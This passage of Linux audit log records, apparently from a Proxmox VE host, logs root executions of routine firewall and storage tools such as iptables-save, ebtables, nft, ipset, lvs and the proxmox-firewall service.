a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60307 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245930,"@rawstring":"node=pve type=PATH msg=audit(1781966245.930:69076): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555170,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.170:66119): proctitle=\"ip6tables-save\""} {"@timestamp":1781964835358,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.358:62850): arch=c000003e syscall=59 success=yes exit=0 a0=5a04a7845ed0 a1=5a04a7842c50 a2=5a04a7824680 a3=5 items=2 ppid=60300 pid=60306 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245930,"@rawstring":"node=pve type=PATH msg=audit(1781966245.930:69075): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555164,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.164:66118): proctitle=\"iptables-save\""} {"@timestamp":1781964835354,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.354:62849): arch=c000003e syscall=59 success=yes exit=0 a0=5a04a01ccac8 a1=7ffc3f375c20 a2=5a04a7824680 a3=5a04a01b024e items=2 ppid=60300 pid=60302 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245930,"@rawstring":"node=pve type=PATH msg=audit(1781966245.930:69074): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555156,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.156:66117): proctitle=\"ip6tables-save\""} {"@timestamp":1781964835353,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.353:62848): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc3f375be0 a1=5a04a782b310 a2=5a04a7824680 a3=5 items=2 ppid=60300 pid=60301 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245341,"@rawstring":"node=pve type=PATH msg=audit(1781966245.341:69072): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555149,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.149:66116): proctitle=\"iptables-save\""} {"@timestamp":1781964835350,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.350:62846): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60300 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245341,"@rawstring":"node=pve type=PATH msg=audit(1781966245.341:69072): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555144,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.144:66115): proctitle=\"ebtables-restore\""} {"@timestamp":1781964835343,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.343:62845): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60299 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245337,"@rawstring":"node=pve type=PATH msg=audit(1781966245.337:69071): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555142,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.142:66114): proctitle=\"ebtables-restore\""} {"@timestamp":1781964835336,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.336:62844): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245337,"@rawstring":"node=pve type=PATH msg=audit(1781966245.337:69071): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555136,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.136:66113): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964835330,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.330:62843): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245333,"@rawstring":"node=pve type=PATH msg=audit(1781966245.333:69070): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555130,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.130:66112): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964835324,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.324:62842): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245333,"@rawstring":"node=pve type=PATH msg=audit(1781966245.333:69070): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555122,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.122:66111): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964835320,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.320:62841): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5da707bc4740 items=0 ppid=1156 pid=60295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966245333,"@rawstring":"node=pve type=PATH msg=audit(1781966245.333:69069): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555116,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.116:66110): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964835318,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.318:62840): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc147810 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245333,"@rawstring":"node=pve type=PATH msg=audit(1781966245.333:69069): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555111,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.111:66109): proctitle=697073657400726573746F7265"} {"@timestamp":1781964835314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.314:62839): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0de940 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60294 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245333,"@rawstring":"node=pve type=PATH msg=audit(1781966245.333:69068): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555102,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.102:66108): proctitle=\"ip6tables-save\""} {"@timestamp":1781964835307,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.307:62838): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f09c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60293 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245329,"@rawstring":"node=pve type=PATH msg=audit(1781966245.329:69067): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555094,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.094:66107): proctitle=\"iptables-save\""} {"@timestamp":1781964835302,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.302:62837): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc140840 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60292 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245329,"@rawstring":"node=pve type=PATH msg=audit(1781966245.329:69067): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555090,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.090:66106): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964835297,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.297:62836): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f09c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60291 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245329,"@rawstring":"node=pve type=PATH msg=audit(1781966245.329:69067): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555083,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.083:66105): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964835293,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.293:62835): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac8ef0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60290 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245323,"@rawstring":"node=pve type=PATH msg=audit(1781966245.323:69066): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555082,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.082:66104): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964835286,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.286:62834): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60289 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245323,"@rawstring":"node=pve type=PATH msg=audit(1781966245.323:69066): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555082,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.082:66103): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964835280,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.280:62833): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60288 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245317,"@rawstring":"node=pve type=PATH msg=audit(1781966245.317:69065): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555076,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.076:66102): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964835277,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.277:62832): arch=c000003e syscall=59 success=yes exit=0 a0=599ec0afce90 a1=599ec0af9c10 a2=599ec0adb680 a3=5 items=2 ppid=60281 pid=60287 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245317,"@rawstring":"node=pve type=PATH msg=audit(1781966245.317:69065): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555068,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.068:66101): proctitle=\"ip6tables-save\""} {"@timestamp":1781964835273,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.273:62831): arch=c000003e syscall=59 success=yes exit=0 a0=599ea5a42ac8 a1=7ffe95e69b80 a2=599ec0adb680 a3=599ea5a2624e items=2 ppid=60281 pid=60283 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245311,"@rawstring":"node=pve type=PATH msg=audit(1781966245.311:69064): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555058,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.058:66100): proctitle=\"iptables-save\""} {"@timestamp":1781964835272,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.272:62830): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe95e69b40 a1=599ec0ae2310 a2=599ec0adb680 a3=5 items=2 ppid=60281 pid=60282 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245311,"@rawstring":"node=pve type=PATH msg=audit(1781966245.311:69064): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555050,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.050:66099): proctitle=69707365740073617665"} {"@timestamp":1781964835269,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.269:62828): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=60281 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245304,"@rawstring":"node=pve type=PATH msg=audit(1781966245.304:69063): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555041,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.041:66098): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964835262,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.262:62827): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60280 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245304,"@rawstring":"node=pve type=PATH msg=audit(1781966245.304:69063): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965555031,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965555.031:66097): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964835256,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.256:62826): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60279 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245299,"@rawstring":"node=pve type=PATH msg=audit(1781966245.299:69062): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965554859,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965554.859:66096): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964835251,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.251:62825): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb61080d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60278 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245299,"@rawstring":"node=pve type=PATH msg=audit(1781966245.299:69062): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965554834,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965554.834:66095): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964835244,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.244:62824): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138c50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60277 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245293,"@rawstring":"node=pve type=PATH msg=audit(1781966245.293:69061): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965553430,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965553.430:66094): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964835237,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964835.237:62823): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12f0a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=60276 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245293,"@rawstring":"node=pve type=PATH msg=audit(1781966245.293:69061): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965553430,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965553.430:66093): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964834326,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964834.326:62822): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be780 a1=64f8d5936170 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60275 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245286,"@rawstring":"node=pve type=PATH msg=audit(1781966245.286:69059): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965553429,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965553.429:66092): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964834301,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964834.301:62821): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ec030 a1=64f8d73db3a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=60274 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245286,"@rawstring":"node=pve type=PATH msg=audit(1781966245.286:69059): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965553422,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965553.422:66091): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964830810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964830.810:62820): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60271 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245279,"@rawstring":"node=pve type=PATH msg=audit(1781966245.279:69058): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965553422,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965553.422:66090): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964830797,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964830.797:62817): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=60270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} 